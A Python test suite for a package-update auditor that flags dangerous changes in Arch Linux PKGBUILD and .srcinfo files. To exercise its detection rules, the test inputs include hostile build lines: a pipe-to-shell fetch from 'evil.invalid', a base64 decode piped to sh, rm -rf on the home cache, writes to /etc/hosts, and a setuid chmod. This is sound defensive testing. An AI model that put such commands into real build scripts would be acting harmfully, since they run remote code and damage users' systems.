"""Audit rules. The tests that matter are the false-negative and false-positive
ones: a missed `curl | sh` is dangerous, and a rule that fires on every benign
version bump is worse than no rule at all, because the user stops reading.
"""
from __future__ import annotations
import sys
from pathlib import Path
sys.path.insert(0, str(Path(__file__).resolve().parent.parent))
from updater.audit import ( # noqa: E402
Change,
Severity,
audit,
domain_of,
filename_of,
semantic_diff,
)
from updater.srcinfo import parse_pkgbuild, parse_srcinfo # noqa: E402
BENIGN_OLD = """pkgbase = demo
\tpkgver = 1.0.0
\tpkgrel = 1
\tsource = https://github.com/u/demo/archive/v1.0.0.tar.gz
\tsha256sums = aaaa
\tdepends = glibc
pkgname = demo
"""
BENIGN_NEW = BENIGN_OLD.replace("1.0.0", "1.0.1").replace("sha256sums = aaaa", "sha256sums = bbbb")
PKGBUILD = """pkgname=demo
pkgver={ver}
source=("{url}")
sha256sums=('{sum}')
depends=('glibc')
build() {{
cd "$srcdir/demo-$pkgver"
{body}
}}
"""
def make(
old_ver="1.0.0",
new_ver="1.0.1",
old_body="make",
new_body="make",
old_url="https://github.com/u/demo/archive/v1.0.0.tar.gz",
new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz",
old_sum="aaaa",
new_sum="bbbb",
name="demo",
) -> Change:
def si(ver, url, sum_, srcinfo=True):
if srcinfo:
return parse_srcinfo(
f"pkgbase = {name}\n\tpkgver = {ver}\n\tpkgrel = 1\n"
f"\tsource = {url}\n\tsha256sums = {sum_}\n\tdepends = glibc\n\n"
f"pkgname = {name}\n"
)
return None
return Change(
package=name,
old_srcinfo=si(old_ver, old_url, old_sum),
new_srcinfo=si(new_ver, new_url, new_sum),
old_pkgbuild=parse_pkgbuild(
PKGBUILD.format(ver=old_ver, url=old_url, sum=old_sum, body=old_body)
),
new_pkgbuild=parse_pkgbuild(
PKGBUILD.format(ver=new_ver, url=new_url, sum=new_sum, body=new_body)
),
)
# --------------------------------------------------------------------------
# false positives: a boring version bump must stay boring
# --------------------------------------------------------------------------
def test_benign_version_bump_has_no_loud_findings():
report = audit(make())
loud = report.loud
assert not loud, f"benign bump produced {[f.rule for f in loud]}"
assert report.verdict is Severity.INFO
assert report.diff.pkgver == ("1.0.0", "1.0.1")
def test_preexisting_patterns_are_not_reported_as_new():
"""A curl|sh that has been there for years is not this update's problem."""
body = "curl https://x.invalid/i.sh | sh"
report = audit(make(old_body=body, new_body=body))
assert not [f for f in report.findings if f.rule == "pipe-to-shell"], (
"pre-existing pipe-to-shell flagged as newly introduced"
)
def test_preexisting_sudo_downgrades_to_silence():
report = audit(make(old_body="sudo make install", new_body="sudo make install"))
assert not [f for f in report.findings if f.rule == "sudo-in-pkgbuild"]
# --------------------------------------------------------------------------
# false negatives: genuinely dangerous changes must be caught
# --------------------------------------------------------------------------
def test_newly_introduced_pipe_to_shell_is_blocked():
report = audit(make(new_body="curl https://evil.invalid/i.sh | sh"))
blocked = [f for f in report.findings if f.severity is Severity.BLOCK]
assert [f.rule for f in blocked] == ["pipe-to-shell"]
assert "evil.invalid" in blocked[0].evidence
assert blocked[0].where == "PKGBUILD"
assert report.verdict is Severity.BLOCK
def test_newly_introduced_sudo_is_blocked():
report = audit(make(new_body="sudo make install"))
assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]
def test_base64_decode_to_shell_is_blocked():
report = audit(make(new_body="echo aGk= | base64 -d | sh"))
assert "decode-to-shell" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]
def test_rm_outside_builddir_is_blocked():
report = audit(make(new_body='rm -rf "$HOME/.cache"'))
assert "rm-outside-builddir" in [f.rule for f in report.findings]
def test_writing_to_etc_during_build_is_blocked():
report = audit(make(new_body="echo something >> /etc/hosts"))
assert "write-system-path" in [f.rule for f in report.findings]
def test_setuid_bit_is_blocked():
report = audit(make(new_body="chmod u+s bin/tool"))
assert "setuid" in [f.rule for f in report.findings]
def test_network_fetch_inside_build_is_flagged():
report = audit(make(new_body="curl -O https://x.invalid/extra.tar.gz"))
assert "network-in-build" in [f.rule for f in report.findings]
def test_git_clone_inside_build_is_flagged():
report = audit(make(new_body="git clone https://x.invalid/thing"))
assert "git-clone-in-build" in [f.rule for f in report.findings]
def test_source_domain_change_is_flagged():
change = make(new_url="https://mirror.sketchy.invalid/demo-1.0.1.tar.gz")
report = audit(change)
moves = report.diff.sources_moved
assert moves, "source move not detected"
assert moves[0].new_domain == "mirror.sketchy.invalid"
assert "source-domain-changed" in [f.rule for f in report.findings]
def test_same_host_different_path_is_not_a_domain_change():
change = make(new_url="https://github.com/u/demo/archive/v1.0.1.tar.gz?v=2")
report = audit(change)
assert not [f for f in report.findings if f.rule == "source-domain-changed"]
# --------------------------------------------------------------------------
# checksums
# --------------------------------------------------------------------------
def test_skip_introduced_on_non_vcs_is_blocked():
new = BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP")
change = make()
change.new_srcinfo = parse_srcinfo(new)
report = audit(change)
blocked = [f.rule for f in report.findings if f.severity is Severity.BLOCK]
assert "sums-skip-introduced" in blocked
def test_skip_with_a_vcs_source_is_only_informational():
"""A live repository cannot be checksummed, so SKIP is the only option."""
change = make(name="demo-git", new_url="git+https://github.com/u/demo.git#tag=v1.0.1")
change.new_srcinfo = parse_srcinfo(
BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP").replace(
"source = https://github.com/u/demo/archive/v1.0.1.tar.gz",
"source = git+https://github.com/u/demo.git#tag=v1.0.1",
)
)
report = audit(change)
rules = {f.rule: f.severity for f in report.findings}
assert rules.get("sums-skip-vcs") is Severity.INFO
assert "sums-skip-introduced" not in rules
assert report.verdict is Severity.INFO
def test_git_suffix_alone_does_not_excuse_skip():
"""The package name is not evidence; the source scheme is."""
change = make(name="demo-git")
change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
report = audit(change)
assert "sums-skip-introduced" in [
f.rule for f in report.findings if f.severity is Severity.BLOCK
]
def test_preexisting_non_vcs_skip_is_not_reblocked():
"""A long-standing SKIP on a tarball is bad, but it is not this update's news."""
change = make()
change.old_srcinfo = parse_srcinfo(BENIGN_OLD.replace("sha256sums = aaaa", "sha256sums = SKIP"))
change.new_srcinfo = parse_srcinfo(BENIGN_NEW.replace("sha256sums = bbbb", "sha256sums = SKIP"))
report = audit(change)
rules = {f.rule: f.severity for f in report.findings}
assert rules.get("sums-skip-existing") is Severity.INFO
assert "sums-skip-introduced" not in rules
def test_pgp_key_removal_is_blocked():
change = make()
change.old_srcinfo = parse_srcinfo(BENIGN_OLD + "\tvalidpgpkeys = ABC123\n")
change.new_srcinfo = parse_srcinfo(BENIGN_NEW)
report = audit(change)
assert "pgpkey-removed" in [f.rule for f in report.findings if f.severity is Severity.BLOCK]
# --------------------------------------------------------------------------
# maintainer / trust signals
# --------------------------------------------------------------------------
def test_maintainer_change_is_flagged_with_both_names():
change = make()
change.old_maintainer, change.new_maintainer = "olddev", "newdev"
report = audit(change)
finding = next(f for f in report.findings if f.rule == "maintainer-changed")
assert "olddev" in finding.evidence and "newdev" in finding.evidence
assert finding.severity is Severity.LOOK
def test_orphaning_is_reported_as_context_not_a_block():
"""Losing a maintainer is not the risk; gaining one is.
An orphaned package is ordinary. It is being *adopted* that precedes an
account takeover, so that is the case that earns attention.
"""
change = make()
change.old_maintainer, change.new_maintainer = "olddev", ""
report = audit(change)
assert "orphaned" in [f.rule for f in report.findings if f.severity is Severity.INFO]
assert not [f for f in report.findings if f.severity is Severity.BLOCK]
def test_unchanged_maintainer_is_silent():
change = make()
change.old_maintainer = change.new_maintainer = "samedev"
assert "maintainer-changed" not in [f.rule for f in audit(change).findings]
def test_new_replaces_is_flagged():
change = make()
change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\treplaces = other-pkg\n")
report = audit(change)
finding = next(f for f in report.findings if f.rule == "new-replaces")
assert "other-pkg" in finding.evidence
def test_new_dependencies_are_listed_as_evidence():
change = make()
change.new_srcinfo = parse_srcinfo(BENIGN_NEW + "\tdepends = python-attrs\n")
report = audit(change)
finding = next(f for f in report.findings if f.rule == "new-runtime-dep")
assert "python-attrs" in finding.evidence
# --------------------------------------------------------------------------
# semantic diff shape
# --------------------------------------------------------------------------
def test_semantic_diff_counts_function_and_line_changes():
change = make(old_body="make", new_body="make\n make docs")
diff = semantic_diff(change)
assert diff.funcs_changed == ["build"]
assert diff.lines_added >= 1
assert not diff.is_empty
def test_identical_metadata_produces_an_empty_diff():
change = make(
old_ver="1.0.0",
new_ver="1.0.0",
old_sum="aaaa",
new_sum="aaaa",
old_url="https://x.invalid/v1.tar.gz",
new_url="https://x.invalid/v1.tar.gz",
)
assert semantic_diff(change).is_empty
def test_helpers():
assert domain_of("https://github.com/u/r/archive/v1.tar.gz") == "github.com"
assert domain_of("local.patch") == "(local)"
assert filename_of("https://github.com/u/r/archive/v1.tar.gz") == "v1.tar.gz"
assert filename_of("https://x.invalid/a.tar.gz?token=1#frag") == "a.tar.gz"
# a `filename::` prefix must not be mistaken for the host
assert (
domain_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/archive/x.tar.gz") == "github.com"
)
assert (
filename_of("alejandra-4.0.0.tar.gz::https://github.com/u/r/x.tar.gz")
== "alejandra-4.0.0.tar.gz"
)
assert domain_of("git+https://github.com/u/r.git#tag=v1") == "github.com"
def test_is_vcs_source_distinguishes_scheme_from_name():
from updater.audit import is_vcs_source
assert is_vcs_source("git+https://github.com/u/r.git")
assert is_vcs_source("svn+https://svn.example.org/repo")
assert is_vcs_source("name::git+https://github.com/u/r.git")
assert not is_vcs_source("https://github.com/u/r/archive/v1.tar.gz")
assert not is_vcs_source("https://github.com/u/r.git") # pinned file, not a clone
assert not is_vcs_source("local.patch")
def test_domain_change_from_filename_prefix_only_is_not_flagged():
"""Adding a `filename::` prefix is not a host change."""
change = make(new_url="demo-1.0.1.tar.gz::https://github.com/u/demo/archive/v1.0.1.tar.gz")
report = audit(change)
assert not [f for f in report.findings if f.rule == "source-domain-changed"]
def test_a_broken_rule_does_not_kill_the_report(monkeypatch=None):
"""A rule raising must degrade to an informational finding, not a traceback."""
import updater.audit as mod
original = mod.RULES
try:
def explode(change):
raise RuntimeError("boom")
mod.RULES = original + (explode,)
report = audit(make(new_body="sudo make install"))
assert any("rule failed" in f.title for f in report.findings)
assert "sudo-in-pkgbuild" in [f.rule for f in report.findings]
finally:
mod.RULES = original
def main() -> int:
tests = [(n, f) for n, f in sorted(globals().items()) if n.startswith("test_") and callable(f)]
failed = 0
for name, fn in tests:
try:
fn()
except Exception as exc: # noqa: BLE001
failed += 1
print(f"FAIL {name}\n {type(exc).__name__}: {exc}")
else:
print(f"ok {name}")
print(f"\n{len(tests) - failed}/{len(tests)} passed")
return 1 if failed else 0
if __name__ == "__main__":
raise SystemExit(main())